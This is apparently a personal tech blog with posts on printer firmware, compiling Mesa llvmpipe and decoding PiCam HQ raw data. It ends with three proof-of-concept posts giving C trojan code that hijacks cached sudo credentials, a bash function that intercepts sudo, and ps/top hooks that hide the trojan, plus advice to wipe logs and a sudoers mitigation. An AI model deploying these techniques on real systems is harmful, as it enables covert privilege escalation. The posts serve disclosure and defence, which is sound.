[  217.425424] usblp 1-1.4:1.0: usblp0: USB Bidirectional printer dev 5 if 0 alt 0 proto 2 vid 0x03F0 pid 0x2B17

[  325.810139] usblp0: removed

The context

...

The solution

First we have to remove usblp module but we must not blacklist it because we will use it. In my case, I add:

rmmode usblp

in /etc/local.rc Then when my raspberry starts, I remove usblp module from the memory.

But we need usblp module to upload the firmware. Then I change the content of /lib/udev/hplj1020 (keep a copy of the original file, and be carreful as it is not a regular file, it is a symbolic link, use mv to keep this copy). I write simply:

#!/bin/sh
modprobe usblp
sleep 10
cat ./usr/lib/firmware/hp/sihp1020.dl > /dev/usb/lp0

I first load usblp module because now I need it. Then I wait to be sure both the module and the printer are ready. The path to the printer /dev/usb/lp0 is now added and I can use it to upload the firmware cat ./usr/lib/firmware/hp/sihp1020.dl > /dev/usb/lp0. I use it for a laserjet 1020 but this should work for other similar models.

I spent a lot of time to understand the trouble here... and I am happy to have a solution.

Viewed 295 times

Introduction

Pour utiliser des programmes récents d'OpenGL, il est souvent nécessaire d'avoir une version d'OpenGL suppérieur à 4.0. On peut à ce moment utiliser les derniers types de shaders (tesselation shaders...).

On va prendre pour exemple une machine qui a plus de 10 ans mais qui fonctionne pourtant très correctement. Cette machine est munie un intel i7 930 et une Radeon HD4850 sur laquelle une ubuntu 20.04 est installée.

To use program that relies on advanced Opengl it is necessary to have video drivers that manage OpenGL higher than 4.0. In this case, we can use last type of shaders such as tesselation shaders...

We take here the example of an 10 years old machine but still efficient. This computer has intel i7 930 CPU and a Radeon HD4850 video card with ubuntu 20.04.

jo@imagine:~$ cat /proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 26
model name	: Intel(R) Core(TM) i7 CPU         930  @ 2.80GHz
stepping	: 5
microcode	: 0x1d
cpu MHz		: 1616.273
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 11
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
  pat pse36 clflush dts acpi mmx fxsr sse sse2 ht tm pbe syscall nx rdtscp lm
  constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid
  aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1
  sse4_2 popcnt lahf_lm pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept
  vpid dtherm ida flush_l1d
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds
  swapgs itlb_multihit
bogomips	: 5612.82
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:
(...)

jo@imagine:~$ lspci

...
03:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI]
                                                          RV770 [Radeon HD 4850]
...

jo@imagine:~$ glxinfo | grep -i opengl

OpenGL vendor string: X.Org
OpenGL renderer string: AMD RV770 (DRM 2.50.0 / 5.4.0-52-generic, LLVM 10.0.0)
OpenGL core profile version string: 3.3 (Core Profile) Mesa 20.0.8
OpenGL core profile shading language version string: 3.30
OpenGL core profile context flags: (none)
OpenGL core profile profile mask: core profile
OpenGL core profile extensions:
OpenGL version string: 3.0 Mesa 20.0.8
OpenGL shading language version string: 1.30
OpenGL context flags: (none)
OpenGL extensions:
OpenGL ES profile version string: OpenGL ES 3.0 Mesa 20.0.8
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.00
OpenGL ES profile extensions:

Ce qui est important de voir, c'est que c'est Mesa 20.0.8 qui est utilisé et il assure la version 3.3 d'OpenGL (core). On ne peut donc pas utiliser les fonctionnalités récentes d'OpenGL

Here we see Mesa 20.0.8 is used and it provides OpenGL 3.3 (core). We then can not use recent advanced OpenGL features

Activate software pipeline

On va remplacer ce driver par un driver qui s'execute entierement sur le CPU. On a plus ou moins le choix. Il y a (entre autre SWR ou llvmpipe). SWR nécessite que le CPU supporte au moins les instructions AVX, ce qui n'est pas le cas du i7 930. Du coup nous allons utiliser llvmpipe (associé à MESA).

We will subs this driver by a driver that relies completly on the CPU. You have multiple choices. There are (but not limited to) SWR or llvmpipe. SWR need AVX instructions, but our i7 930 does not support them. Then we will use llvmpipe (related to MESA).

On peut forcer l'utilisation du pipeline software par :

We can oblige the usage of the software pipeline by:

jo@imagine:~$ export LIBGL_ALWAYS_SOFTWARE=1
jo@imagine:~$ glxinfo | grep -i opengl

OpenGL vendor string: VMware, Inc.
OpenGL renderer string: llvmpipe (LLVM 10.0.0, 128 bits)
OpenGL core profile version string: 3.3 (Core Profile) Mesa 20.0.8
OpenGL core profile shading language version string: 3.30
OpenGL core profile context flags: (none)
OpenGL core profile profile mask: core profile
OpenGL core profile extensions:
OpenGL version string: 3.1 Mesa 20.0.8
OpenGL shading language version string: 1.40
OpenGL context flags: (none)
OpenGL extensions:
OpenGL ES profile version string: OpenGL ES 3.1 Mesa 20.0.8
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.10
OpenGL ES profile extensions:

On est bien passé sur un rendu software grace à llvmpipe mais on est resté sur une version d'OpenGL trop ancienne (3.3 core).

The software pipeline is well activated and the current driver is now llvmpipe however the supported OpenGL version is still to old (3.3 core).

Note : Vous pouvez essayer de changer de driver :

Note : Vous can easily change the used driver:

jo@imagine:~$ export GALLIUM_DRIVER=swrast
jo@imagine:~$ export GALLIUM_DRIVER=llvmpipe
...

Le problème, c'est que la version de MESA associée à la distribution installée, ubuntu 20.04, n'est pas suffisamment récente donc on va devoir compiler la notre pour avoir la toute dernière version de llvmpipe.

Our problem here is that the Mesa version, with our current ubuntu distribution (20.04) is too old. We then will get the latest version of Mesa and compile llvmpipe by ourselves.

Compilation

Dans un premier temps, nous allons récupérer la derniere verion de MESA.

First, we get Mesa source code.

jo@imagine:~/(...)$ git clone https://gitlab.freedesktop.org/mesa/mesa.git 

puis nous allons compiler llvmpipe.

secondly we compile llvmpipe.

Pour cela il faut d'abord etre certain d'avoir toutes les dépenaces notamment llvm et meson (E.T. téléphone meson) mais pas que (je liste pas tout, il vous reste du travail...).

To be able to compile llvmpipe we need to solve numerous dependencies: obviously llvm and meson but also many other (that I do not list here, it remains a little work for you...).

Ensuite on va configurer le projet, le compiler et l'installer

then we configure, compile and install the project

jo@imagine:~/(...)$ mkdir build
jo@imagine:~/(...)$ cd build
jo@imagine:~/(...)$ meson --buildtype=release -Dglx=gallium-xlib ;\
       -Dvulkan-drivers= -Ddri-drivers= -Dgallium-drivers=swrast ;\
       -Dprefix=/home/jo/.local/lib/x86_64-linux-gnu/ ..
jo@imagine:~/(...)$ ninja
jo@imagine:~/(...)$ meson install

Pour prefix, vous pouvez mettre le chemin qui vous arrange.

For the prefix, you can set whatever you want.

Usage

On doit dire que l'on veut utiliser le pipeline software :

We must say that we want the software pipeline:

jo@imagine:~/(...)$ export LIBGL_ALWAYS_SOFTWARE=1

Il n'est pas nécessaire de dire que l'on veut le driver llvmpipe, il sera pris par défaut maisvous pouvez le préciser :

It is not necessary to specify llvmpipe driver as it is the one by default but you can:

jo@imagine:~/(...)$ export GALLIUM_DRIVER=llvmpipe

En revanche, il faut pointer vers nos biblithèques fraichement compilées :

However, you must specify the used libraries:

jo@imagine:~/(...)$ export LD_LIBRARY_PATH=/home/jo/.local/lib/x86_64-linux-gnu/

jo@imagine:~$ glxinfo | grep -i opengl

OpenGL vendor string: Mesa/X.org
OpenGL renderer string: llvmpipe (LLVM 10.0.0, 128 bits)
OpenGL core profile version string: 4.5 (Core Profile) Mesa 21.0.0-devel (git-4d72..
OpenGL core profile shading language version string: 4.50
OpenGL core profile context flags: (none)
OpenGL core profile profile mask: core profile
OpenGL core profile extensions:
OpenGL version string: 3.1 Mesa 21.0.0-devel (git-4d727ee913)
OpenGL shading language version string: 1.40
OpenGL context flags: (none)
OpenGL extensions:
OpenGL ES profile version string: OpenGL ES 3.2 Mesa 21.0.0-devel (git-4d727ee913)
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.20
OpenGL ES profile extensions:

Bingo ! Apres différents tests, ça fonctionne bien ! Les tessellation shaders fonctionnent bien et le tout sans toucher à la configuration de la machine !

Bingo! After many tests, it works well! Tessellation shaders work and we do not have modified the current configuration.

Conclusion

La solution n'est finalement pas si compliqué et elle fonctionne plutot bien. En plus, elle ne modifie pas configuration du système donc on n'a pas aucun risques que casser quoi que ce soit. Merci aux équipes qui ont bien travailler et qui continue !

The solution is not so difficult and this solution is more efficient than I initially thought. Moreover, we do not change the configuration of the machine, there is no risk to break the current configuration. Many thanks to all members of the development team and contributors, they have made a great job!

Si vous avez un CPU qui supporte les instructions AVX, vous pourrez essayer et comparer avec SWR.

If your CPU manages AVX instructions you can try and compare with SWR.

Viewed 2561 times

Introduction

The picams (V1, V2 and now HQ) are interesting cameras, usable in a research context and not expensive. It is possible to get raw data from these cameras but it lacks some documentation to interpret data for the last PiCam HQ. This lack will certainly be filled very soon, but until this update, we propose to share my work to help other people to make it work. I expose in this document the few things you need to interpret the data.

Note 1: My level in English is rather low, and especially, I have no time to write this report. I write it very fast, without proofreading it. There must be plenty of mistakes - please forgive me for that. It is better than nothing.

Note 2: You can download the content of this post as a pdf at the publications page

Before starting: you can read The official raspberry pi camera guide [7] which provide a lot of precious information. Details about picams can be found in [1]. This Picam HQ is based on the Sony IMX 477 CMOS sensor. You should have a look to its specification.

Configuration and acquisition; The official documentation [2,3] is well done except that the document states that the minimum GPU memory size is 128Mo. It was true for previous picams but not enough for the PiCam HQ. We were obliged to set it to 256Mo to make it work properly. Not really a problem (note: It is the gpu_mem option defined in /boot/config.txt).

To get the raw data, we use the python library picamera[6] (we did not try with V4L.). The procedure is explained in [4]. This procedure works properly to acquire data from the PiCam HQ however, this documentation is not up to date as it does not mention the Picam HQ. This is this temporary lack of documentation we will try to fill in this technical document.

Encoding

To understand how the data are stored, let's have a look at the encoding used by the previous picams. According to [4]:

• The raw data are located at the end of the file.
• The header of the raw data starts with the string BRCM.
• The first 32,768 bytes of this part is the header data, then comes the Bayer data.
• Bayer data is always full resolution.
• Bayer data occupies the last 6,404,096 bytes of the output file for the V1 module, or the last 10,270,208 bytes for the V2 module. Bayer data consists of 10-bit values
• The 10-bit values are organized as 4 8-bit values, followed by the low-order 2-bits of the 4 values packed into a fifth byte.
• Bayer data is organized in a BGGR pattern
• For the V1 module, the data consists of 1952 rows of 3264 bytes of data. The last 8 rows of data are unused (they only exist because the maximum resolution of 1944 rows is rounded up to the nearest 16).
• For the V2 module, the data consists of 2480 rows of 4128 bytes of data. There's actually 2464 rows of data, but the sensor's raw size is 2466 rows, rounded up to the nearest multiple of 16: 2480.
• The last few bytes of each row are unused.

To be able to interpret data from the PiCam HQ, we have to know all these parameters for the PiCam HQ, i.e., we have to find:

• The position and the size of the data in the file/the position and the size of the header,
• The size in byte of a line (the line stride) and how many pixels are store in this line/the number of lines,
• The correct variant of Bayer format,
• The encoding of the pixel values.

So many things to discover... To do so, ghex [5] is our friend. Let's go!

The position and the size of the header/the data in the file

We bet, the format is compatible with the previous modules.

Module	Total length of the raw part (Bytes)	length of the header (Bytes)	length of the image (Bytes)
V1	6404096	32768	6371328
V2	10270208	32768	10237440
HQ	?	?	?

We have to take a picture with the PiCam HQ and we will see its content. The length of the file of the picture we took is 27060380 bytes. We open it with ghex and look for the string BRCM.

The offset of this string is at offset 8349340, this means that the complete raw part is 27060380 - 8349340 = 18711040 bytes long. We bet that the header has the same length compared to the previous modules: 32768 bytes. If we are right, this means that the image begins at offset 8382108 (0x7FE69C). This seems to be correct - data seem to start at this offset:

Then the data is 18711040 bytes long (i.e. occupies the last 18711040 bytes of the file), the header is 32768 bytes long and then the raw image is 18711040 - 32768 = 18678272 bytes long. We summary these results in the following table:

Module	Total length of the raw part (Bytes)	length of the header (Bytes)	length of the image (Bytes)
V1	6404096	32768	6371328
V2	10270208	32768	10237440
HQ	18711040	32768	18678272

The size in byte of a line (the line stride) and how many pixels are stored in this line/the number of lines

According to [1] the sensor resolution of the V1 module is 2592x1944, the resolution of the v2 module is 3280x2464 and the PiCam HQ the resolution is 4056x3040.

According to [4] For the V1 module, the data consists of 1952 rows of 3264 bytes of data. The last 8 rows of data are unused (they only exist because the maximum resolution of 1944 rows is rounded up to the nearest 16). For the V2 module, the data consists of 2480 rows of 4128 bytes of data. There's actually 2464 rows of data, but the sensor's raw size is $2466$ rows, rounded up to the nearest multiple of 16: 2480. Likewise, the last few bytes of each row are unused.

We have to guess the image dimension.

Module	number pixels of a line	size in byte of a line	used part of the line
V1	2592	3264	2592 ∗ 10/8 = 3240
V2	3280	4128	3280 ∗ 10/8 = 4100
HQ	4056	?	?

We have to deduce the size of one line in byte. The pitfall is that the PiCam HQ encodes values on 12bits instead of previous modules that encode values on 10bits. This means that a line of 4056 pixels will consume 4056 * 12 / 8 = 6084 bytes. The length of a line in byte in the file must certainly be a multiple of 16. It then can be 6096, 6112... This value can be deduced by finding the number of the lines in the file and dividing the total size by the number of lines or by simply studying the header.

If we look for in a picture taken by the V1 module the value 3264 (0x0CC0) and in a picture taken by the V2 module the value 4128 (0x1020), we find that these values are at a constant offset (160 - 0xA0) from the beginning of the header. If we peek the value at the same offset in a image taken by a PiCam HQ, we find the value 6112 (0x17E0). This validates our though.

Then we can fill in our table:

Module	number pixels of a line	size in byte of a line	used part of the line
V1	2592	3264	2592 ∗ 10/8 = 3240
V2	3280	4128	3280 ∗ 10/8 = 4100
HQ	4056	6112	4056 ∗ 12/8 = 6084

The correct variant of Bayer format/The encoding of the pixel values

It is said in [4] that for V1 and V2 modules, Bayer data is organized in a BGGR pattern but later, it is said that data are organized as follow:

# GBGBGBGBGBGBGB
# RGRGRGRGRGRGRG
# GBGBGBGBGBGBGB
# RGRGRGRGRGRGRG

In my point of view, the data startwith a blue pixel followed by a red pixel and next line, the line starts with a green pixel, followed by a red one (and so on) as follow:

# BGBGBGBGBGBGBG
# GRGRGRGRGRGRGR
# BGBGBGBGBGBGBG
# GRGRGRGRGRGRGR

This is what we have observed in previous modules and what we think for this PiCam HQ.

One point important to notice is that previous modules were 10bits modules. According to [4], for the previous modules: the 10-bit values are organized as 4 8-bit values, followed by the low-order 2-bits of the 4 values packed into a fifth byte. As we have 12bits values, we suspect that 2 consecutive 12bits values (two successive pixels) are organized as 2 8-bit values, followed by the low-order 4-bits of the 2 values packed into a third byte. After an examination with ghex, it seems to be correct.

Notice that this part of our report must be validated. We have taken blue pictures, red pictures... to try to validate but we do not have enough time to provide an absolute/rigorous validation. We may be wrong.

From raw format to a beautiful picture

Once we have decoded the raw data, the minimal work you have to do to get a acceptable image is summarized in the following picture:

The green boxes have to be implemented but it is out of the scope of this document.

How to know which picam module has been used?

The problem if you want to generate an image using raw bayer data from a picam is that you have to detect which picam has been used to take the picture.

As we can see in the following pictures, it is simple to detect which picam has been used by just using the header of the file or the header of the raw part. Unfortunately, my new PiCam HQ module has not the value we would have expected in headers...

Conclusion

We provide in this document all missing parameters we need to interpret raw bayer data from Picam HQ. However some parameters need to be validated and it still misses some important points. For example, specification of the IMX219 sensor (the sensor used in the picam V2) has a region dedicated to optical black. It would be great if the Picam HQ has such a region and if we could fetch values from this area.

References

[1] https://www.raspberrypi.org/documentation/hardware/camera/
[2] https://www.raspberrypi.org/documentation/configuration/camera.md
[3] https://www.raspberrypi.org/documentation/raspbian/applications/camera.md
[4] https://picamera.readthedocs.io/en/release-1.13/recipes2.html#raw-bayer-data-captures
[5] ghex. https://wiki.gnome.org/Apps/Ghex
[6] picamera python library. https://picamera.readthedocs.io
[7] Dan Aldred, Wesley Archer, Jody Carter, PJ Evans, Richard Hayler, James Singleton, and Rob Zwetsloot.
The offial raspberry pi camera guide . Raspberry Pi Trading Ltd, 2020.

Viewed 2953 times

Long time ago/Il y a longtemps

I set up an old computer to have, among other, a print server on my lan. I had some difficulty to configure my HP LaserJet 1020 under linux at the beginning. In all cases, I learned that, each time the printer starts, the driver uploads the firmware of the printer into the printer (this is the reason why the printer blinks and makes noise à statup). If not, the printer does not work. Each time, the printer is switched off, all is lost and the upload must be done again.

J'ai configuré une veille machine sous linux pour qu'elle fasse, entre autres, serveur d'impression. J'ai eu un peu de mal avec la HP LaserJet 1020 à l'époque à cause des drivers linux (depuis je n'ai plus de problème). En tous les cas, j'ai appris une chose : à l'allumage de l'imprimante, le driver upload le firmeware de l'imprimante dans l'imprimante, sans quoi l'imprimante ne peut fonctionner – c'est pour cela qu'elle se met à clignoter en faisant du bruit, une seconde ou deux après l'allumage. A chaque fois que l'on éteint l'imprimante, c'est perdu et il faut recommencer à l'allumage suivant...

The problem/Le problème

Yesterday, I connect the printer to a modem with an usb print server (the Freebox). It is simpler and cheaper than with a PC but it did not work. After spending time looking for a solution over internet, nothing. A lot of people have the problem but no solution has been proposed. My hypothesis is that the problem comes from the firmware upload. When the printer was connected to a PC, the driver could upload the firmware but now, the server printer can not. How to validate my hypothesis? Ok, a simple test: I plug the printer to the computer, start the printer and the driver upload the firmware. Then, without switching off the printer, I unplug it and plug it to the server printer. I start a printer Job, it works ! My hypothesis is valid. The problem now is whenever I switch off the printer, everything is lost...

Hier j'ai connecté l'imprimante à la Freebox, cela étant plus simple et plus économique que de faire tourner un pc pour qu'elle soit accessible mais ça n'a pas fonctionné. Après une recherche sur internet, rien. Même si le problème est posé par pas mal de personnes, pas de solution. Mon hypothèse est que le problème viens du chargement du firmware. Lorsqu'elle était connectée à un pc, le driver pouvait charger le firmware. Maintenant, ce n'est plus possible via la Freebox. Mais comment en être certain ? Aller, un test rapide : je branche l'imprimante au pc, j'allume l'imprimante ; le firmware se charge. Sans éteindre l'imprimante, je la débranche et la branche à la Freebox. Un test d'impression – ça fonctionne ! Mon hypothèse est bonne ! Seul problème, dès que j'éteindrai l'imprimante, cela ne fonctionnera plus...

A solution/Une solution

I have to upload the firmware into the printer. I know it can be done manually cat firmeware > /dev/usb/.... Maybe I can do the same through the network ? Well, the printer is plugged to the server. To clean the memory and to be sure it does not have the firmware, I restart the printer. Look for the file with the correct firmware: I took it from foo2zjs – downloaded with getweb. I must send this file through the network on server port (9100 for Freebox). I can write a program for that or, as I am under linux, I can use the netcat command that does the job for us:

nc mafreebox.freebox.fr 9100 < sihp1020.img

Nothing. The printer does not react. Let's try again with the firmware that comes with hplip:

nc mafreebox.freebox.fr 9100 < hp_laserjet_1020.fw

Bingo! The printer starts!!!! Let's print a test page … and … suspense … Houra! It works!

Il faut pouvoir charger le firmware dans l'imprimante. Je sais que, sous Linux, certains chargeaient le firmware à la main directement en faisant cat firmeware > /dev/usb/.... J'arriverai peut être à le faire au travers du reseau ?

L'imprimante est branchée au serveur, faisons la redémarrer (pour être certain qu'elle n'ait pas le firmware en mémoire). Cherchons dans les drivers le fichier qui contient le firmware. Prenons celui de foo2zjs - téléchargé à l'aide de getweb. Il faut envoyer le fichier sur le réseau sur le port du serveur d'impression de la freebox (9100). On peut écrire un programme pour faire cela ou, si on est sous linux, utiliser la commande netcat qui fait cela pour nous.

nc mafreebox.freebox.fr 9100 < sihp1020.img.

Rien. L'imprimante ne réagit pas. Essayons avec le firmware fournit par hplip :

nc mafreebox.freebox.fr 9100 < hp_laserjet_1020.fw

Bingo ! L'imprimante réagit !!!! Test d'impression sur le serveur... et … suspense … Houra ! Ca fonctionne !

A short explanation/Une courte explication

Why did it not work with foo2zjs driver ? To find the answer, look at the files with ghex.

Pourquoi cela n'a pas fonctionné avec le driver foo2zjs ? Pour le savoir ouvrons les avec ghex et regardons le contenu des fichiers.

An ELF file ! / Un fichier elf

hplip file encapsulate the firmware by the instruction needed for the firmware upload.

Le fichier fournit par hplip encapsule le firmware par l'instruction nécessaire au transfert du firmware. C'est pour cela que ça a fonctionné...

(See/Voir Printer Job Language Technical Reference Manual, arm2hpdl)

Conclusion/Conclusion

J'ai décrit ici un moyen pour connecter une imprimante de la famille des HP LaserJet 1020 sur un serveur d’impression (notamment une Freebox). Cette procédure est un peu lourde vu qu'il faut manuellement envoyer le firmware à chaque démarrage de l'imprimante avant de pouvoir imprimer (mais c'est mieux que rien ?!). J'ai pour l'instant l'impression que certaines fonctionnalités ne fonctionnent pas (comme le mode éco) donc affaire à suivre. C'est déjà pas mal comme ça car ce n’était pas gagné d'avance. J’espère que ces quelques lignes vous aiderons.

I describe a solution to connect a HP LaserJet 1020 to a network server (Freebox in my case). This solution is not perfect as I have to upload manually the firmware of the printer every time the printer starts before being able to print (However, it's better than nothing). It works - but the draft eco mode seems not to work properly (to be continued). In any case, it is a good step as it was not an easy one. I hope these few lines will help you...

Viewed 5430 times

The context

Usually, the usage of sudo can give privileges to a specific user. The user invokes sudo and provides to sudo the command he wants to execute with privileges. But imagine if you hook sudo, the user believes he launch sudo but instead, he invokes a special malicious command. It is impossible : to change sudo command, you must be root to change /usr/bin. If you already have such privileges, you do not need to hook sudo command any more.

The exploit

Well, you think I will change the PATH. No, it is not inconspicuous. Simple invocation of which command will reveal the attack. No I must find something better: I will do a simple trick, I will define a function :

  function sudo() { /home/jo/tmp/.sudo/mysudo  "$@" ;} 

Further invocations of sudo point now on mysudo! And surprisingly, under bash, invocation of which sudo gives /usr/bin/sudo and not our function. No where command either. Our hijack is not visible for the user!

What now ? We simply have to code a clever sudo... Look at this simple code:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void you_are_root(void) {
  //you win !
  FILE *f=fopen("/sudo_exploit.txt", "w");
  if (f!=NULL) fclose(f);
}

int main(int argc, char *argv[])
{ 
  if (getuid()==0) {
    char *argv_n[argc+1];
    int i;
    argv_n[0]="sudo";
    you_are_root();
    for (i=1;i<argc;i++) argv_n[i]=argv[i];
    argv_n[i]=NULL;
    execvp("sudo", argv_n);
    exit(0);
  } else {
    char *argv_n[argc+2];
    int i;
    argv_n[0]="sudo";
    for (i=0;i&ls;argc;i++) argv_n[i+1]=argv[i];
    argv_n[i+1]=NULL;
    execvp("sudo", argv_n);
    exit(0);
  }
  return 0;
}

This program will recall itself with the true sudo. sudo will ask the password and the user enter its password (as he belives he launch his own command). sudo validate the password and now mysudo is called with sudo privileges. mysudo can do whatever it wants and after it invokes the inital instruction, expected by the user. mysudo invoke this initial instruction with sudo and the correct initial parameters... As mysudo already has sudo privileges, sudo does not ask password again (even if timestamp_timeout=0) and calls silently the expected instruction with correct privileges... The user do not see that before we ran malicious code!

Once you become root, you must clean the definition of the function (in .bashrc for exemple) to avoid detection by the user and you must clean log file of sudo, because all action is stored... (even you can improve stupid call to exit(0) and manage errors from execvp - but here it is a simple POC).

Protection

Heu ? I don't know. The problem with bash is that even if we define a new function for sudo, the command which sudo always gives /usr/bin/sudo and the user can not see in reality invocation of sudo will not call sudo. This is a negligence from bash. Even, no function where in bash. The only think is that the declaration of the function is visible (in .bashrc for exemple). Simply watch out your configuration files...

Conclusion

It is possible to define a function with same name of a system command. It is normal and practical. However the behaviour of the command which in bash is not very safe and we have taken advantage of this behaviour to silently hook sudo. I think, it is not a serious threat as the function definition is clearly visible (in .bashrc for exemple) but which command should be improved...

Viewed 5495 times

The context

Our initial trojan horse is efficient but it has low chance to succeed as it must be excuted in the same terminal than admin operation. As it is resident, it is also clearly seenable with simple commands like top or ps. It will be easily detected...

Installation

If a program want to exploit this vulnerability, it can not expect to be launched in the same terminal even if it stays resident and waits. To improve chance to become root, it would be better to start automaticly in each terminal. Then it could be efficient to detect default shell and modify default script like .bashrc to automaticly start at the beginning of every terminal. Once the user invokes sudo, the programme becomes root. Even configuration scripts of the graphical user interface can be targeted. As soon as it becomes root, it can remove the entry in .bashrc (or other) to hide the presence of the trojan horse.

Stealth

As the trojan is now resident in every terminal, it has more chances to reach its goal. However, the threat remains poor: the user can detect the presence of the program execution esaily. If the trojan is resident and wait to become root, it can not hide itself correctly (as it is not root yet) - but it can try to.
The user can detect it's presence by the use of command like ps or top. The idea is that a user use more ps that it open shell initialisation files. Then it is possible to hide - only for the targetted user - the execution of the trojan horse. For that we will hook ps or top commands. Following lines are added in shell initialisation script (and adapted to the user shell):

function ps() { `which ps` "$@" | grep -v "trojan_name" ;}

This command hook the ps command and now ps command display all lines that do not contain the name of the trojan horse (the name of the trojan must be choosen cleverly). Obviosly if the user see these lines in initialization script, the trojan horse will be detected and then these lines must diseapear immediatly when the trojan reach root privileges. The same hook can also be done for top command...

function top() { `which top` "$@" | grep -v "trojan_name" ;}

These tricks are not very clever and there is surely much more powerfull things to do. This post is only a POC.

Protection

I hope, with these few lines, I convince that the threat is not as low as it seems. The best way to protect against this sudo vulnerability is to tell sudo to ask password every time. To do so, edit /etc/sudoers by using sudo visudo and add the line:

Defaults	timestamp_timeout=0

And the password will be asked every time. If you really want to perform multiple admin operations, you can invoke sudo -i

Conclusion

We have seen a simple way to use sudo to become root. This threat is low as this implies the system (a user account) has already been corrupted but this threat must not be neglected especially as the solution to protect the system is very simple.

Viewed 4758 times

The context

First of all we have is a major program that perform critical admin operations:

/*
admin_op.c
@author Jonathan Fabrizio
@date 06/01/12
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
  if (getuid()==0) 
    printf("Ready to perform admin op\n");
  else
    printf("You must be root to perform this operation\n");
  return 0;
}

The content of this program is not important. It is simply a common program that need root privilige to perform admin operations.

To execute this program (obviously after compilation) you need to enter:

sudo ./admin_op

The first time you enter this instruction, the system ask you your password. To this point, no trouble. But from now, if you call sudo again, your password will not be asked again (as long as your terminal has the same id and for a predefined period of time). It is not bad as it can be annoying to enter password again and again - right. This behaviour depends on configuration but for example, by default on ubuntu if think the password is not asked again for 15 min.

Exploit

Imagine a program, installed on your computer that suddunly want to became root. The simple operation he has to do is to check if it can became root:

/*
trojan_horse_sudo_exploit.c
@author Jonathan Fabrizio
@date 06/01/12
@version 1.0
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void you_are_root(void) {
  //you win !
  //nobody know but your are root and you can prove it :
  FILE *f=fopen("/sudo_exploit.txt", "w");
  if (f!=NULL) fclose(f);
}

void try_to_become_root(void) {
  pid_t pid;
  if ( (pid=fork())==0 ) { 
    execlp("sudo", "sudo", "./trojan_horse_sudo_exploit", NULL, NULL);
    exit(0);
  } else if (pid>0) {
    int status;
    //do your normal job...
    while (waitpid(pid, &status, WNOHANG)==0);
  }
}

int main(int argc, char *argv[])
{
  if (getuid()==0) {
    you_are_root();
  } else {
    try_to_become_root();
  }
  return 0;
}

This is simple. If this program is call with root privilige, it will call you_are_root(). If not, it will try to re-execute itself by calling sudo. If the password has already been entered, it will be automatically executed with root privileges !

Is it really a threat? Not really: First this program must be invoked just after you call sudo. He has a very short period of time and second, if it is not in this period of time, the system will ask the password to the user and the trojan horse will be detected kickly!

Are we really safe? Is it possible to hide this trojan? Simply redirecting standard input and output will allow to hide to the user that sudo ask the password. Sudo immediatly terminate in error and the user do not see anything.

/*
trojan_horse_sudo_exploit.c
@author Jonathan Fabrizio
@date 06/01/12
@version 2.0
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void you_are_root(void) {
  //you win !
  //nobody know but your are root and you can prove it :
  FILE *f=fopen("/sudo_exploit.txt", "w");
  if (f!=NULL) fclose(f);
}

void try_to_become_root(void) {
  pid_t pid;
  if ( (pid=fork())==0 ) { 
    freopen("/dev/null", "w", stderr);
    freopen("/dev/null", "r", stdin);
    setsid();
    execlp("sudo", "sudo", "./trojan_horse_sudo_exploit", NULL, NULL);
    exit(0);
  } else if (pid>0) {
    int status;
    //do your normal job...
    sleep(10);
    while (waitpid(pid, &status, WNOHANG)==0);
  }
}

int main(int argc, char *argv[])
{
  if (getuid()==0) {
    you_are_root();
  } else {
    try_to_become_root();
  }
  return 0;
}

It remains a simple problem now: This can only work just after sudo has been invoked. Ok the solution is to stay resident and wait...

#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void you_are_root(void) {
  //you win !
  //nobody know but your are root and you can prove it :
  FILE *f=fopen("/sudo_exploit.txt", "w");
  if (f!=NULL) fclose(f);
}

void try_to_become_root(void) {
  pid_t pid;
  int success=0;
  
  if ( (pid=fork())==0 ) { 
    freopen("/dev/null", "w", stderr);
    freopen("/dev/null", "r", stdin);
    setsid();
    do {
      pid_t pid_exploit;
      if ( (pid_exploit=fork())==0 ) {
	execlp("sudo", "sudo", "./trojan_horse_sudo_exploit", "1", NULL);
	exit(0);
      } else if (pid_exploit>0) {
	int status;
	FILE *f;
	while (waitpid(pid_exploit, &status, WNOHANG)==0);
	f=fopen("/sudo_exploit.txt", "r");
	if (f!=NULL) {
	  success=1; 
	  fclose(f);
	} else {
	  sleep(3*60);
	}
      }      
    } while (!success);
  }
}

int main(int argc, char *argv[])
{
  if (getuid()==0) {
    you_are_root();
  } else if (argc==1) {
    try_to_become_root();
  }
  return 0;
}

The program stays resident, waits and tries frequently to become root (every 3 minutes). It stops as soon as it succeeded. This means if you start the program that contains the trojan horse and you invoke sudo after in the same terminal, the trojan horse will become root. In the same terminal? Not really. If you invoke sudo and close your terminal. A newly opened terminal will may be affected by the id of the previously closed terminal and invocation of sudo wont ask you a password as if you were in the same terminal. Worst if it is graphical application, invoking a program that require root privilege by the graphical user interface may offer root privillege to any other application invoked by the graphical user interface...

Conclusion

We have seen it is possible to stealthy became root by the usage of sudo. The danger is rather poor as the trojan horse that use this vulnerability should be launched in the same terminal which is used for admin operation. However the trojan can became root even if sudo is invoked much later.

In a next post, I will show how it is possible to increase to chance to became root with this vulnerability. To conclude - and it is the most important - I will show how to protect our system against this vulnerability.

Viewed 3707 times